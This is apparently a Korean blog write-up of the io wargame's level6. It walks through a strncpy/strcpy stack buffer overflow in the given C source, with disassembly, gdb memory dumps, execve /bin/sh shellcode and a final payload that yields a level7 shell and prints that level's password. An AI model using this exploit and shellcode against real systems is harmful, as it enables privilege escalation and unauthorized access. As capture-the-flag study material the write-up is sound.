badcob 2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w